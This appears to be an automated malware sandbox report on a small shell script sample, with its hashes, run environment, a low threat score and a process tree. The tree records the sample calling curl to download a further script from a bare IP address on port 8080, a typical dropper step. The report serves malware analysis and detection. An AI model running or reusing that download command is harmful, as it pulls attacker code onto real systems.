Analysis

  • max time kernel
    1s
  • max time network
    4s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    16/09/2026, 15:11

General

  • Target
    cirqueira.sh_armv4l.sh
  • Size 205B
  • Sample260916-skranacp3s
  • SHA256 3fb5a154738d1296ba1e6d2da1de7c409481bcf3517719bddefcacc8df3b26d4
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/cirqueira.sh_armv4l.sh
    /tmp/cirqueira.sh_armv4l.sh
    1⤵
      PID:715
      • /bin/bash
        bash
        2⤵
          PID:718
        • /usr/bin/curl
          curl -s http://94.154.43.227:8080/bins/cirqueira.sh
          2⤵
          • Reads runtime system information
          PID:717

      Network

            MITRE ATT&CK Matrix

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